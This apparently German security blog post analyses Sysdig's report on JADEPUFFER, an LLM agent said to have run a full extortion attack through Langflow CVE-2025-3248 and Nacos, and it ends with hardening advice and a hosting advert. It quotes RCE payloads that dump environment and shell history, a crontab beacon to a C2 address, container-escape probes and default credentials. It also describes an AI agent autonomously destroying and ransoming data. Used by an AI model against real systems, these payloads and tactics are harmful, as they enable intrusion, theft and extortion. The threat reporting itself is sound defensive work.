JADEPUFFER im Detail:
Erste autonome AI-Agent-Erpressung und Langflow-CVE-Schutz

Kernbewertung: Sysdig stuft dies als ersten bekannten Fall ein, in dem die gesamte Kette «Aufklärung → Diebstahl → laterale Bewegung → Persistenz → Zerstörung → Erpressung» von einem LLM-Agent autonom verkettet wurde — nicht durch manuelle Operatoren an kritischen Stellen. Codename JADEPUFFER (offizielle Sysdig-Schreibweise in Großbuchstaben), formale Kategorie ATA (Agentic Threat Actor): Angriffsfähigkeit wird durch AI-Agents geliefert, nicht durch fest codierte menschliche Toolkits.

Zweiphasige Zielarchitektur:

• Einstiegshost: Öffentlich exponiertes Langflow, kompromittiert über CVE-2025-3248 (unauthentifizierter RCE).
• Eigentliches Ziel: Weiterer öffentlich erreichbarer Produktionsserver mit MySQL + Alibaba Nacos — 1.342 Nacos-Service-Konfigurationen wurden verschlüsselt, mehrere Business-Datenbanken per DROP entfernt.

Branchenschmerzpunkte (warum die Szene alarmiert ist):

• Kompetenzbarriere bricht ein: Mehrstufige Angriffe, die früher Senior-Red-Teams erforderten, kann heute ein starker LLM-Agent in komprimiertem Zeitfenster durchführen.
• Alte CVEs werden automatisiert: Einstieg über Langflow-RCE von April 2025; Downstream nutzt Nacos-Auth-Bypass von 2021 und nie rotierte Default-JWT-Keys — «historische Schwachstellen der Reihe nach abfeuern» kostet marginal fast nichts.
• Detektionsmodelle veralten: Blockiert ein Weg, wechselt der Agent schnell die Taktik; jeder Vorfall kann leicht anders aussehen — klassische Annahmen vorhersagbarer Pfade versagen.
• LLMjacking-Ökonomie: Mit gestohlenen Modell-/Cloud-Credentials betriebene Agents machen komplexe Mehrphasenangriffe marginal kostenlos.

Langflow ist ein Open-Source-Framework für visuelle AI-/Agent-Workflows (70.000+ GitHub-Stars). Sysdig nennt es attraktiven Einstieg, weil Umgebungsvariablen oft LLM-API-Keys und Cloud-Credentials enthalten und Teams für schnelle Prototypen ohne Netzwerkzugangskontrolle direkt ins Internet stellen.

Schwachstellenmechanismus (Schritt für Schritt):

1. Langflow bietet /api/v1/validate/code zur Syntaxprüfung benutzerdefinierter Funktionsknoten.
2. Implementierung: Code-String → ast.parse() → compile() → exec().
3. Kernfehler: Keine Authentifizierung, keine Sandbox.
4. Exploit-Trick: Python-Decoratoren und Default-Argumente werden beim Funktionsdefinieren sofort ausgewertet, nicht erst beim Aufruf. Schadcode in Defaults/Decorators läuft bei «Validierung» via compile()+exec().
5. Angreifer brauchen kein Login, keine Berechtigung — ein konstruierter HTTP POST genügt für RCE.

Typische Flodrix-Botnet-Payloads laut Trend Micro (nicht JADEPUFFER):
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
700-Byte-Bash-Skript lädt Flodrix-ELF (LeetHozer-Familie) nach

Wichtige Abgrenzung: Flodrix und JADEPUFFER sind zwei unabhängige Kampagnen mit gleichem Einstieg. Flodrix = klassisches Botnet; JADEPUFFER = Sysdigs «AI-Agent-autonom»-Erpressung. Beide zeigen: CVE-2025-3248 wird dauerhaft gescannt und weaponisiert.

Offizieller Patch (Langflow 1.3.0): post_validate_code erhält Dependency _current_user: CurrentActiveUser. FastAPI prüft JWT Bearer oder x-api-key; bei Fehler 401/403 — Anfrage erreicht nie die vulnerable Logik; danach Prüfung is_active.

Die folgenden Details stammen direkt aus Sysdig-TRT-Payloads und Zeitstempeln — der informationsreichste Teil des Falls. Alle Payloads als Base64-kodierter Python-Code über den Langflow-RCE-Endpoint.

Phase 1: Langflow-Host kompromittieren

• Aufklärung (parallel): id, uname -a, hostname; parallele Scans nach OpenAI, Anthropic, DeepSeek, Gemini API-Keys; Cloud-Credentials ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_, AWS/GCP/Azure; Krypto-Wallets, DB-Credentials, Configs.
• Lokaler Diebstahl: Export der Langflow-PostgreSQL-Backend-DB (Credentials, API-Keys, User), lokal zwischengespeichert, geprüft, gelöscht.
• Interne laterale Entdeckung: Scan interner Adressräume und benannter Dienste; Default-Credentials für DB, Object Storage, Secrets, Service Discovery.
• MinIO-Enumeration (adaptiv): minio.internal:9000 und 127.0.0.1:9000 mit minioadmin:minioadmin. Nach Buckets mit App-Daten, Backups, ML-Modellen, terraform-state gezielter Abruf credentials.json. Erster Request mit ?format=json liefert XML — nächster Payload wechselt sofort auf XML-Parser. Pfad: Health Check → Admin-API → ListBuckets → GetObject für «credentials», «.env».
• Persistenz: Crontab alle 30 Min.: */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2: MySQL + Nacos-Produktionsserver

Ziel: öffentlich erreichbarer Server mit MySQL + Alibaba Nacos. Nacos häufig in Alibaba-Microservices; Auth-Bypass-Historie CVE-2021-29441; Default-JWT-Signaturschlüssel seit 2020 in öffentlicher Doku, oft nie rotiert.

• MySQL root direkt: Agent verbindet mit root-Credentials — Herkunft unklar, Sysdig sah keinen Diebstahl aus Opferumgebung; einer der wenigen möglicherweise menschlich vorbereiteten Schritte.
• Nacos Multi-Vektor: Auth-Bypass-Familie (CVE-2021-29441), bekannte Default-JWT-Keys, Backdoor-Admin direkt in Nacos-Backend-DB injiziert mit root-DB-Rechten.

• Container-Escape (~8 Min., mehrere Runden): MySQL OUTFILE/LOAD_FILE: /var/lib/mysql-files/_pwn_test.txt, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, /proc/1/mountinfo, Pfad-Permissions, UDF via mysql.func. Markierung _pwn_cleanup.txt vor Erpressungsphase — Sysdig: eher «Agent signalisiert Phase abgeschlossen» als festes menschliches Skript.
• Zerstörung und Erpressung: Alle 1.342 Nacos-Configs via MySQL AES_ENCRYPT(); Originaltabellen config_info, his_config_info gelöscht; Tabelle README_RANSOM. Brief behauptet AES-256, tatsächlich AES-128-ECB. Schlüssel per uuid4(), nur stdout, nie gespeichert oder übertragen — selbst Angreifer können nach Zahlung nicht entschlüsseln. Zwei Minuten später Payload mit präziser «1342 Einträge verschlüsselt».
• Massenzerstörung: Nach Zeilenlöschung DROP DATABASE; Kommentare mit ROI-Priorität («hohe ROI-DBs zuerst, Backup auf 64.20.53[.]230»). IP 64.20.53[.]230 (InterServer, AS19318) einmalig — Sysdig bestätigt Backup nicht unabhängig. Diagnose-Korrektur: DROP DATABASE scheitert an FK → nächster Payload SET GLOBAL FOREIGN_KEY_CHECKS=0 — Verständnis warum, nicht nur dass es scheitert.

Erpressungs-Mail e78393397[@]proton[.]me, Tabelle README_RANSOM ohne Threat-Intel-Präzedenz; untypisch gegenüber WARNING, RECOVER_YOUR_DATA, PLEASE_READ_ME — stützt «neue Agent-getriebene Operation».

Sysdig stützt «LLM-gesteuert» auf vier unabhängige Linien:

1. Selbst erzählender Code: Payloads voller natürlichsprachlicher Kommentare — ROI-Sortierung, «größte DB», Zweck jedes Schritts. Menschen schreiben selten solche Kommentare in Einzeiler-python3 -c; LLMs tun es standardmäßig. Kommentare im Angreifercode original, nicht nachträgliche Forscher-Interpretation.
2. Maschinelle Fehlerdiagnose: Präziseste Autonomie-Evidenz: Geschwindigkeit und Art der Korrektur. Nacos 31 Sekunden exemplarisch. Gleiches Muster: MinIO JSON→XML; JWT «custom secret in use» → Pfad aufgegeben.
3. Verständnis natürlichsprachlichen Kontexts: LLM liest freien Text in der Zielumgebung und handelt «nur wenn man wirklich gelesen hat» — über Wochen in getrennten Sessions.
4. Bitcoin-Adress-Anomalie: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy ist Standard-P2SH-Beispieladresse in Bitcoin-Docs und Bitcoin Core, reichlich in LLM-Trainingsdaten. On-Chain: aktives Wallet, 737 bestätigte TX, ~46 BTC eingegangen, Saldo null (sofort weitertransferiert). Sysdig: (a) LLM «halluziniert» aus Trainingsdaten, Wallet gehört Dritten die Fehlüberweisungen «aufräumen»; (b) Angreifer kontrolliert Wallet, zufällige Kollision mit Doku-Beispiel. Beides derzeit nicht unterscheidbar — neue Unsicherheit der AI-Autonomie bei Attribution.

Mit 600+ eigenständigen, zielgerichteten Payloads in komprimiertem Fenster deutet Sysdig auf einen autonom operierenden Agent, nicht manuelle Bedienung oder festes Toolkit.

Medien und Experten:

• BleepingComputer / Dark Reading / CyberScoop / Security Affairs berichten als «erster vollständig AI-gestützter Erpressungsangriff», betonen ATA-Zeitalter.
• CSO Online zitiert Vibhum Dubey: «Eher Evolution der Ausführung als neue Erpressungstechnik. Automatisierung von Aufklärung und Deployment gibt es lange — neu ist, dass der AI-Agent Phasen autonom verkettet ohne auf menschliche Anweisung zu warten.» Die stille Phase vor Verschlüsselung ist besorgniserregender: Agent kartiert Identität, Rechte, Vertrauensketten; blockierte Wege → schneller Taktikwechsel, jeder Vorfall leicht anders.
• Medien verbinden LLMjacking (gestohlene Modell-/Cloud-Accounts) mit marginal nahe-null Kosten für Mehrphasenangriffe.

Sysdigs vier Schlussfolgerungen:

1. Erpressung ist nicht mehr «Handwerk für Experten»: LLM-Agents verkettet Aufklärung, Diebstahl, laterale Bewegung, Persistenz, Zerstörung — ohne tiefe Fachkenntnis des Operators.
2. Alte Schwachstellen werden automatisiert: Downstream nutzt jahrelang bekannte Probleme — Nacos-Bypass 2021, Default-Keys — gegen vernachlässigte, öffentliche Infrastruktur.
3. Absicht wird «lesbar» — Chance für Verteidiger: LLMs erzählen Ziele in Payloads; «Selbstnarration» liefert neue Detektions- und Analysehebel.
4. «Backup existiert» ist Angreiserbehauptung: Schlüssel temporär, nicht wiederherstellbar — Zahlung rettet Configs nicht.

Abschluss: Keine einzelne Technik ist neu; bemerkenswert ist ein AI-Modell, das alles zu vollständiger Erpressung gegen ignorierte öffentliche Infrastruktur verbindet. Skill-Barriere = «Kosten, einen Agent zu betreiben»; Verteidiger sollten öffentliche App-Server, ungehärtete Config-Center, DB-Admin von außen als erste Angriffsflächen behandeln.

Quellen (Links nach Veröffentlichung erneut prüfen):

Sysdig: JADEPUFFER: Agentic ransomware for automated database extortion

BleepingComputer: JadePuffer ransomware used AI agent to automate entire attack

Dark Reading: JadePuffer: The First Complete LLM-Driven Ransomware Attack

Schutzempfehlungen aus dem Sysdig-Bericht, angewendet auf AI-Agent-Infrastruktur:

1. Langflow patchen und Exposition reduzieren: Upgrade auf 1.3.0+; Code-Ausführungs-/Validierungs-Endpoints nicht ins Internet stellen.
2. Runtime-Threat-Detection: Malware-Verhalten in DB-Prozessen (OUTFILE/LOAD_FILE, Massen-AES_ENCRYPT, fremde Tabellen wie README_RANSOM).
3. Secrets isolieren: Keine LLM-API-Keys oder Cloud-Credentials in AI-Orchestrierungs-Umgebungen — dedizierter Secret Manager, getrennt von internetexponierten Prozessen.
4. Nacos härten: Default token.secret.key rotieren; Version mit Pflicht-Custom-Key; Nacos nie öffentlich, nicht mit root an Backend-DB.
5. DB-Zugangskontrolle: DB-Admin nie von außen; starke eindeutige Credentials und Source-IP-Beschränkung auf Admin-Ports.
6. Egress und IOC-Monitoring: Ausgehender Traffic kontrollieren; Crontab mit externen Requests und obige IOCs überwachen; auffällige User-Agents.

Zitierfähige Kennzahlen (EEAT):

• Angriffsgröße: 600+ eigenständige Payloads in komprimiertem Fenster
• Verschlüsselung: 1.342 Nacos-Configs, Tabellen config_info und his_config_info gelöscht
• EPSS Einstieg: CVE-2025-3248 91,42 %, CVSS 9,8 Critical, CISA KEV 5. Mai 2025
• Autonomie-Geschwindigkeit: Nacos-Backdoor 31 Sekunden (UTC 19:34:36 → 19:35:18)

Auf Shared VPS oder direkt exponierten Langflow/OpenClaw-Knoten fehlen oft: hardcodierte API-Keys in Env-Vars (bei RCE sofort alles weg), keine Mandantenisolation, Laptop-Sleep unterbricht Agents, kein Egress → kompromittierte Hosts beaconen frei zu C2 wie 45.131.66[.]106. Für Langflow, OpenClaw Gateway und iOS CI/CD ohne Agent-Orchestrierung im öffentlichen Internet bietet CALMVPS Bare-Metal Mac Mini M4 Miete exklusives Apple Silicon, volles root, 7×24, ~120 Sekunden Bereitstellung, flexible Monatsabrechnung: SSH-Tunnel oder privates Netz für Agent-Control-Plane; Langflow-Validierung und Nacos-Admin im internen Segment; API-Keys im Secret Manager statt Prozess-Env; Egress blockiert C2. Relevant auch unter DSGVO, wenn Agent-Logs oder Konfigurationen personenbezogene Testdaten enthalten — dedizierte Bare-Metal-Maschine pro Mandant, kein Multi-Tenant, Löschung nach Vertragsende. Details: Mietpreise, Bestellung: Mac mini M4 bestellen.

Stand 7. Juli 2026. Keine öffentliche Langflow-Stellungnahme zu diesem Vorfall bekannt; bei Updates offizielle Ankündigungen und NVD prüfen.